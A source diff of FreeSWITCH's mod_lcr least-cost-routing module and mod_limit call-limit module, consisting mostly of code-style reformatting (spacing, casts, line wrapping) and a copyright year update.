digits_copy = string_digitsonly(cb_struct->pool, digits);
if (zstr(digits_copy)) {
return SWITCH_STATUS_GENERR;
}
/* allocate the dedup hash */
if (switch_core_hash_init(&cb_struct->dedup_hash, cb_struct->pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_ERROR, "Error initializing the dedup hash\n");
return SWITCH_STATUS_GENERR;
}
digits_expanded = expand_digits(cb_struct->pool, digits_copy, cb_struct->profile->quote_in_list);
if (profile->profile_has_npanxx == SWITCH_TRUE) {
is_intrastatelata(cb_struct);
}
/* set our rate field based on env and profile */
if (cb_struct->intralata == SWITCH_TRUE && profile->profile_has_intralata == SWITCH_TRUE) {
rate_field = switch_core_strdup(cb_struct->pool, "intralata_rate");
@@ -785,7 +769,7 @@ static switch_status_t lcr_do_lookup(callback_t *cb_struct)
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "intra routing [state:%d lata:%d] so rate field is [%s]\n",
cb_struct->intrastate, cb_struct->intralata, rate_field);
/* set some channel vars if we have a session */
if (cb_struct->session) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "we have a session\n");
@@ -822,10 +806,10 @@ static switch_status_t lcr_do_lookup(callback_t *cb_struct)
/* channel_expand_variables returned the same string to us, no need to free */
switch_safe_free(safe_sql);
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *)sql_stream.data);
lookup_status = lcr_execute_sql_callback((char *)sql_stream.data, route_add_callback, cb_struct);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *) sql_stream.data);
lookup_status = lcr_execute_sql_callback((char *) sql_stream.data, route_add_callback, cb_struct);
switch_safe_free(sql_stream.data);
switch_event_safe_destroy(&cb_struct->event);
@@ -848,16 +832,15 @@ static switch_bool_t test_profile(char *lcr_profile)
switch_event_create(&event, SWITCH_EVENT_MESSAGE);
routes.event = event;
routes.pool = pool;
if (!(routes.profile = locate_profile(lcr_profile))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
return SWITCH_FALSE;
}
routes.lookup_number = "15555551212";
routes.cid = "18005551212";
return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ?
SWITCH_TRUE : SWITCH_FALSE;
return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ? SWITCH_TRUE : SWITCH_FALSE;
}
static switch_status_t lcr_load_config()
@@ -893,19 +876,16 @@ static switch_status_t lcr_load_config()
}
}
}
/* initialize sql here, 'cause we need to verify custom_sql for each profile below */
if (globals.odbc_dsn) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG
, "dsn is \"%s\", user is \"%s\"\n"
, globals.odbc_dsn, globals.odbc_user
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "dsn is \"%s\", user is \"%s\"\n", globals.odbc_dsn, globals.odbc_user);
if (!(dbh = lcr_get_db_handle())) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
switch_goto_status(SWITCH_STATUS_FALSE, done);
}
}
if (set_db_random() == SWITCH_TRUE) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Database RANDOM function set to %s\n", db_random);
} else {
@@ -926,7 +906,7 @@ static switch_status_t lcr_load_config()
char *custom_sql = NULL;
int argc, x = 0;
char *argv[4] = { 0 };
SWITCH_STANDARD_STREAM(order_by);
for (param = switch_xml_child(x_profile, "param"); param; param = param->next) {
@@ -934,12 +914,12 @@ static switch_status_t lcr_load_config()
var = (char *) switch_xml_attr_soft(param, "name");
val = (char *) switch_xml_attr_soft(param, "value");
if (!strcasecmp(var, "order_by") && !zstr(val)) {
if (!strcasecmp(var, "order_by") && !zstr(val)) {
thisorder = &order_by;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "param val is %s\n", val);
if ((argc = switch_separate_string(val, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
for (x=0; x<argc; x++) {
for (x = 0; x < argc; x++) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "arg #%d/%d is %s\n", x, argc, argv[x]);
if (!zstr(argv[x])) {
if (!strcasecmp(argv[x], "quality")) {
@@ -976,37 +956,37 @@ static switch_status_t lcr_load_config()
quote_in_list = val;
}
}
if (zstr(name)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No name specified.\n");
} else {
profile = switch_core_alloc(globals.pool, sizeof(*profile));
memset(profile, 0, sizeof(profile_t));
profile->name = switch_core_strdup(globals.pool, name);
if (!zstr((char *)order_by.data)) {
profile->order_by = switch_core_strdup(globals.pool, (char *)order_by.data);
if (!zstr((char *) order_by.data)) {
profile->order_by = switch_core_strdup(globals.pool, (char *) order_by.data);
} else {
/* default to rate */
profile->order_by = ", ${lcr_rate_field}";
}
if (!zstr(id_s)) {
profile->id = (uint16_t)atoi(id_s);
profile->id = (uint16_t) atoi(id_s);
}
/* SWITCH_STANDARD_STREAM doesn't use pools. but we only have to free sql_stream.data */
SWITCH_STANDARD_STREAM(sql_stream);
if (zstr(custom_sql)) {
/* use default sql */
sql_stream.write_function(&sql_stream,
"SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix "
);
sql_stream.write_function(&sql_stream,
"SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix ");
if (db_check("SELECT codec from carrier_gateway limit 1") == SWITCH_TRUE) {
sql_stream.write_function(&sql_stream, ", cg.codec ");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "codec field defined.\n");
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "codec field not defined, please update your lcr carrier_gateway database schema.\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"codec field not defined, please update your lcr carrier_gateway database schema.\n");
}
if (db_check("SELECT cid from lcr limit 1") == SWITCH_TRUE) {
sql_stream.write_function(&sql_stream, ", l.cid ");
@@ -1014,41 +994,38 @@ static switch_status_t lcr_load_config()
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "cid field not defined, please update your lcr database schema.\n");
}
sql_stream.write_function(&sql_stream, "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
sql_stream.write_function(&sql_stream,
"FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
sql_stream.write_function(&sql_stream, "${lcr_query_expanded_digits}");
sql_stream.write_function(&sql_stream, ") AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end ");
if (profile->id > 0) {
sql_stream.write_function(&sql_stream, "AND lcr_profile=%d ", profile->id);
}
sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s",
profile->order_by);
sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s", profile->order_by);
if (db_random) {
sql_stream.write_function(&sql_stream, ", %s", db_random);
}
sql_stream.write_function(&sql_stream, ";");
custom_sql = sql_stream.data;
}
profile->profile_has_intralata = db_check("SELECT intralata_rate FROM lcr LIMIT 1");
if (profile->profile_has_intralata != SWITCH_TRUE) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n"
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n");
}
profile->profile_has_intrastate = db_check("SELECT intrastate_rate FROM lcr LIMIT 1");
if (profile->profile_has_intrastate != SWITCH_TRUE) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n"
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n");
}
profile->profile_has_npanxx = db_check("SELECT npa, nxx, state FROM npa_nxx_company_ocn LIMIT 1");
if (profile->profile_has_npanxx != SWITCH_TRUE) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n"
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n");
}
if (switch_string_var_check_const(custom_sql) || switch_string_has_escaped_data(custom_sql)) {
@@ -1057,20 +1034,20 @@ static switch_status_t lcr_load_config()
if (strstr(custom_sql, "%")) {
profile->custom_sql_has_percent = SWITCH_TRUE;
}
profile->custom_sql = switch_core_strdup(globals.pool, (char *)custom_sql);
profile->custom_sql = switch_core_strdup(globals.pool, (char *) custom_sql);
if (!zstr(reorder_by_rate)) {
profile->reorder_by_rate = switch_true(reorder_by_rate);
}
if (!zstr(info_in_headers)) {
profile->info_in_headers = switch_true(info_in_headers);
}
if (!zstr(quote_in_list)) {
profile->quote_in_list = switch_true(quote_in_list);
}
switch_core_hash_insert(globals.profile_hash, profile->name, profile);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Loaded lcr profile %s.\n", profile->name);
/* test the profile */
@@ -1083,7 +1060,7 @@ static switch_status_t lcr_load_config()
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Removing INVALID Profile %s.\n", profile->name);
switch_core_hash_delete(globals.profile_hash, profile->name);
}
}
switch_safe_free(order_by.data);
switch_safe_free(sql_stream.data);
@@ -1091,7 +1068,7 @@ static switch_status_t lcr_load_config()
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No lcr profiles defined.\n");
}
/* define default profile */
if (!globals.default_profile) {
profile = switch_core_alloc(globals.pool, sizeof(*profile));
@@ -1102,7 +1079,7 @@ static switch_status_t lcr_load_config()
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Setting system defined default profile.");
}
done:
done:
switch_cache_db_release_db_handle(&dbh);
switch_xml_free(xml);
return status;
@@ -1138,17 +1115,17 @@ SWITCH_STANDARD_DIALPLAN(lcr_dialplan_hunt)
intralata = switch_channel_get_variable(channel, "intralata");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", intrastate);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intralata channel var is [%s]\n", intralata);
if (!zstr(intralata) && !strcasecmp((char *)intralata, "true")) {
if (!zstr(intralata) && !strcasecmp((char *) intralata, "true")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intralata rates\n");
routes.intralata = SWITCH_FALSE;
} else if (!zstr(intrastate) && !strcasecmp((char *)intrastate, "true")) {
} else if (!zstr(intrastate) && !strcasecmp((char *) intrastate, "true")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
routes.intrastate = SWITCH_TRUE;
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
routes.intrastate = SWITCH_FALSE;
}
if (!caller_profile) {
caller_profile = switch_channel_get_caller_profile(channel);
}
@@ -1173,7 +1150,7 @@ SWITCH_STANDARD_DIALPLAN(lcr_dialplan_hunt)
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", caller_profile->destination_number);
}
end:
end:
if (!session) {
switch_core_destroy_memory_pool(&pool);
}
@@ -1184,9 +1161,9 @@ void str_repeat(size_t how_many, char *what, switch_stream_handle_t *str_stream)
{
size_t i;
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what);*/
for (i=0; i<how_many; i++) {
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what); */
for (i = 0; i < how_many; i++) {
str_stream->write_function(str_stream, "%s", what);
}
}
@@ -1227,9 +1204,8 @@ SWITCH_STANDARD_APP(lcr_app_function)
routes.pool = pool;
intra = switch_channel_get_variable(channel, "intrastate");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n",
zstr(intra) ? "undef" : intra);
if (zstr(intra) || strcasecmp((char *)intra, "true")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", zstr(intra) ? "undef" : intra);
if (zstr(intra) || strcasecmp((char *) intra, "true")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
routes.intrastate = SWITCH_FALSE;
} else {
@@ -1248,7 +1224,7 @@ SWITCH_STANDARD_APP(lcr_app_function)
if (argc > 1) {
lcr_profile = argv[1];
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "LCR Lookup on %s using profile %s\n", dest, lcr_profile);
routes.lookup_number = dest;
if (caller_profile) {
@@ -1258,7 +1234,7 @@ SWITCH_STANDARD_APP(lcr_app_function)
}
}
if (!(routes.profile = locate_profile(lcr_profile))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
goto end;
@@ -1289,16 +1265,17 @@ SWITCH_STANDARD_APP(lcr_app_function)
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", dest);
}
}
end:
end:
if (!session) {
switch_core_destroy_memory_pool(&pool);
}
}
static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen) {
static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen)
{
if (as_xml) {
str_repeat(indent*2, " ", stream);
str_repeat(indent * 2, " ", stream);
stream->write_function(stream, "<%s>%s</%s>\n", key, data, key);
} else {
stream->write_function(stream, " | %s", data);
@@ -1320,15 +1297,13 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
switch_event_t *event;
switch_status_t lookup_status = SWITCH_STATUS_SUCCESS;
switch_bool_t as_xml = SWITCH_FALSE;
int rowcount=0;
int rowcount = 0;
if (zstr(cmd)) {
goto usage;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG
, "data passed to lcr is [%s]\n", cmd
);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "data passed to lcr is [%s]\n", cmd);
if (session) {
pool = switch_core_session_get_pool(session);
@@ -1339,7 +1314,7 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
cb_struct.event = event;
}
cb_struct.pool = pool;
mydata = switch_core_strdup(pool, cmd);
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
@@ -1350,29 +1325,27 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
}
if (argc > 2) {
int i;
for (i=2; i<argc; i++) {
for (i = 2; i < argc; i++) {
if (!strcasecmp(argv[i], "intrastate")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
cb_struct.intrastate = SWITCH_TRUE;
} else if (!strcasecmp(argv[i], "as")) {
i++;
if (argv[i] && !strcasecmp(argv[i], "xml")) {
as_xml = SWITCH_TRUE;
} else {
goto usage;
}
as_xml = SWITCH_TRUE;
} else {
goto usage;
}
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Caller ID to [%s]\n", argv[i]);
/* the only other option we have right now is caller id */
cb_struct.cid = switch_core_strdup(pool, argv[i]);
}
}
}
}
if (zstr(cb_struct.cid)) {
cb_struct.cid = "18005551212";
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING
, "Using default CID [%s]\n", cb_struct.cid
);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Using default CID [%s]\n", cb_struct.cid);
}
@@ -1432,7 +1405,7 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
if (as_xml) {
stream->write_function(stream, " <row id=\"%d\">\n", rowcount);
}
write_data(stream, as_xml, "prefix", current->digit_str, 2, maximum_lengths.digit_str);
write_data(stream, as_xml, "carrier_name", current->carrier_name, 2, maximum_lengths.carrier_name);
write_data(stream, as_xml, "rate", current->rate_str, 2, maximum_lengths.rate);
@@ -1447,7 +1420,7 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
} else {
write_data(stream, as_xml, "cid", "", 2, maximum_lengths.cid);
}
write_data(stream, as_xml, "dialstring", current->dialstring, 2, maximum_lengths.dialstring);
if (as_xml) {
@@ -1473,14 +1446,14 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
}
}
end:
end:
if (!session) {
if (pool) {
switch_core_destroy_memory_pool(&pool);
}
}
return SWITCH_STATUS_SUCCESS;
usage:
usage:
stream->write_function(stream, "USAGE: %s\n", LCR_SYNTAX);
goto end;
}
@@ -1509,7 +1482,7 @@ SWITCH_STANDARD_API(dialplan_lcr_admin_function)
for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, NULL, NULL, &val);
profile = (profile_t *) val;
stream->write_function(stream, "Name:\t\t%s\n", profile->name);
if (zstr(profile->custom_sql)) {
stream->write_function(stream, " ID:\t\t%d\n", profile->id);
@@ -1522,12 +1495,9 @@ SWITCH_STANDARD_API(dialplan_lcr_admin_function)
stream->write_function(stream, " has intrastate:\t%s\n", profile->profile_has_intrastate ? "true" : "false");
stream->write_function(stream, " has intralata:\t%s\n", profile->profile_has_intralata ? "true" : "false");
stream->write_function(stream, " has npanxx:\t%s\n", profile->profile_has_npanxx ? "true" : "false");
stream->write_function(stream, " Reorder rate:\t%s\n",
profile->reorder_by_rate ? "enabled" : "disabled");
stream->write_function(stream, " Info in headers:\t%s\n",
profile->info_in_headers ? "enabled" : "disabled");
stream->write_function(stream, " Quote IN() List:\t%s\n",
profile->quote_in_list ? "enabled" : "disabled");
stream->write_function(stream, " Reorder rate:\t%s\n", profile->reorder_by_rate ? "enabled" : "disabled");
stream->write_function(stream, " Info in headers:\t%s\n", profile->info_in_headers ? "enabled" : "disabled");
stream->write_function(stream, " Quote IN() List:\t%s\n", profile->quote_in_list ? "enabled" : "disabled");
stream->write_function(stream, "\n");
}
} else {
@@ -1536,20 +1506,20 @@ SWITCH_STANDARD_API(dialplan_lcr_admin_function)
}
switch_safe_free(mydata);
return SWITCH_STATUS_SUCCESS;
usage:
usage:
switch_safe_free(mydata);
stream->write_function(stream, "-ERR %s\n", LCR_ADMIN_SYNTAX);
return SWITCH_STATUS_SUCCESS;
}
SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
{
switch_api_interface_t *dialplan_lcr_api_interface;
switch_api_interface_t *dialplan_lcr_api_admin_interface;
switch_application_interface_t *app_interface;
switch_dialplan_interface_t *dp_interface;
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
if (!switch_odbc_available()) {
@@ -1573,7 +1543,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
SWITCH_ADD_APP(app_interface, "lcr", "Perform an LCR lookup", "Perform an LCR lookup",
lcr_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_DIALPLAN(dp_interface, "lcr", lcr_dialplan_hunt);
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
+140 -153
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -51,12 +51,12 @@ static struct {
char *odbc_pass;
switch_mutex_t *mutex;
switch_mutex_t *limit_hash_mutex;
switch_hash_t *limit_hash;
switch_hash_t *limit_hash;
switch_mutex_t *db_hash_mutex;
switch_hash_t *db_hash;
switch_hash_t *db_hash;
} globals;
typedef struct {
typedef struct {
uint32_t total_usage;
uint32_t rate_usage;
time_t last_check;
@@ -68,43 +68,33 @@ typedef struct {
static char limit_sql[] =
"CREATE TABLE limit_data (\n"
" hostname VARCHAR(255),\n"
" realm VARCHAR(255),\n"
" id VARCHAR(255),\n"
" uuid VARCHAR(255)\n"
");\n";
" hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " id VARCHAR(255),\n" " uuid VARCHAR(255)\n" ");\n";
static char db_sql[] =
"CREATE TABLE db_data (\n"
" hostname VARCHAR(255),\n"
" realm VARCHAR(255),\n"
" data_key VARCHAR(255),\n"
" data VARCHAR(255)\n"
");\n";
" hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " data_key VARCHAR(255),\n" " data VARCHAR(255)\n" ");\n";
static char group_sql[] =
"CREATE TABLE group_data (\n"
" hostname VARCHAR(255),\n"
" groupname VARCHAR(255),\n"
" url VARCHAR(255)\n"
");\n";
"CREATE TABLE group_data (\n" " hostname VARCHAR(255),\n" " groupname VARCHAR(255),\n" " url VARCHAR(255)\n" ");\n";
switch_cache_db_handle_t *limit_get_db_handle(void)
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
dbh = NULL;
return dbh;
} else {
options.core_db_options.db_path = globals.dbname;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
dbh = NULL;
return dbh;
}
}
@@ -127,7 +117,7 @@ static switch_status_t limit_execute_sql(char *sql, switch_mutex_t *mutex)
status = switch_cache_db_execute_sql(dbh, sql, NULL);
end:
switch_cache_db_release_db_handle(&dbh);
if (mutex) {
@@ -142,16 +132,16 @@ static switch_bool_t limit_execute_sql_callback(switch_mutex_t *mutex, char *sql
switch_bool_t ret = SWITCH_FALSE;
char *errmsg = NULL;
switch_cache_db_handle_t *dbh = NULL;
if (mutex) {
switch_mutex_lock(mutex);
}
if (!(dbh = limit_get_db_handle())) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
goto end;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
goto end;
}
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
if (errmsg) {
@@ -174,8 +164,8 @@ static switch_bool_t limit_execute_sql_callback(switch_mutex_t *mutex, char *sql
static switch_xml_config_string_options_t limit_config_dsn = { NULL, 0, "[^:]+:[^:]+:.+" };
static switch_xml_config_item_t config_settings[] = {
SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
"dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
"dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
SWITCH_CONFIG_ITEM_END()
};
@@ -184,13 +174,13 @@ static switch_status_t do_config()
switch_cache_db_handle_t *dbh = NULL;
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
limit_config_dsn.pool = globals.pool;
if (switch_xml_config_parse_module_settings("limit.conf", SWITCH_FALSE, config_settings) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_TERM;
}
if (globals.odbc_dsn) {
if ((globals.odbc_user = strchr(globals.odbc_dsn, ':'))) {
*globals.odbc_user++ = '\0';
@@ -203,7 +193,7 @@ static switch_status_t do_config()
globals.odbc_dsn = globals.odbc_user = globals.odbc_pass;
}
}
if (zstr(globals.odbc_dsn)) {
globals.dbname = "call_limit";
@@ -225,16 +215,16 @@ static switch_status_t do_config()
NULL
};
switch_cache_db_test_reactive(dbh, "select * from limit_data", NULL, limit_sql);
switch_cache_db_test_reactive(dbh, "select * from db_data", NULL, db_sql);
switch_cache_db_test_reactive(dbh, "select * from group_data", NULL, group_sql);
for (x = 0; indexes[x]; x++) {
switch_cache_db_execute_sql(dbh, indexes[x], NULL);
}
switch_cache_db_release_db_handle(&dbh);
sql = switch_mprintf("delete from limit_data where hostname='%q';", globals.hostname);
@@ -248,7 +238,7 @@ static switch_status_t do_config()
static void limit_fire_event(const char *realm, const char *key, uint32_t usage, uint32_t rate, uint32_t max, uint32_t ratemax)
{
switch_event_t *event;
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, LIMIT_EVENT_USAGE) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "realm", realm);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", key);
@@ -268,8 +258,7 @@ static switch_status_t db_state_handler(switch_core_session_t *session)
const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
sql = switch_mprintf("delete from limit_data where uuid='%q';",
switch_core_session_get_uuid(session));
sql = switch_mprintf("delete from limit_data where uuid='%q';", switch_core_session_get_uuid(session));
limit_execute_sql(sql, globals.mutex);
switch_safe_free(sql);
switch_core_event_hook_remove_state_change(session, db_state_handler);
@@ -279,47 +268,46 @@ static switch_status_t db_state_handler(switch_core_session_t *session)
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t hash_state_handler(switch_core_session_t *session)
static switch_status_t hash_state_handler(switch_core_session_t *session)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_channel_state_t state = switch_channel_get_state(channel);
limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
/* The call is either hung up, or is going back into the dialplan, decrement appropriate couters */
if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
switch_hash_index_t *hi;
switch_mutex_lock(globals.limit_hash_mutex);
/* Loop through the channel's hashtable which contains mapping to all the limit_hash_item_t referenced by that channel */
while((hi = switch_hash_first(NULL, pvt->hash)))
{
while ((hi = switch_hash_first(NULL, pvt->hash))) {
void *val = NULL;
const void *key;
switch_ssize_t keylen;
limit_hash_item_t *item = NULL;
switch_hash_this(hi, &key, &keylen, &val);
item = (limit_hash_item_t*)val;
item->total_usage--;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)key, item->total_usage);
if (item->total_usage == 0) {
item = (limit_hash_item_t *) val;
item->total_usage--;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) key, item->total_usage);
if (item->total_usage == 0) {
/* Noone is using this item anymore */
switch_core_hash_delete(globals.limit_hash, (const char*)key);
switch_core_hash_delete(globals.limit_hash, (const char *) key);
free(item);
}
switch_core_hash_delete(pvt->hash, (const char*)key);
switch_core_hash_delete(pvt->hash, (const char *) key);
}
/* Remove handler */
switch_core_event_hook_remove_state_change(session, hash_state_handler);
switch_mutex_unlock(globals.limit_hash_mutex);
}
return SWITCH_STATUS_SUCCESS;
}
@@ -474,21 +462,21 @@ SWITCH_STANDARD_APP(hash_function)
char *mydata = NULL;
char *hash_key = NULL;
char *value = NULL;
switch_mutex_lock(globals.db_hash_mutex);
if (!zstr(data)) {
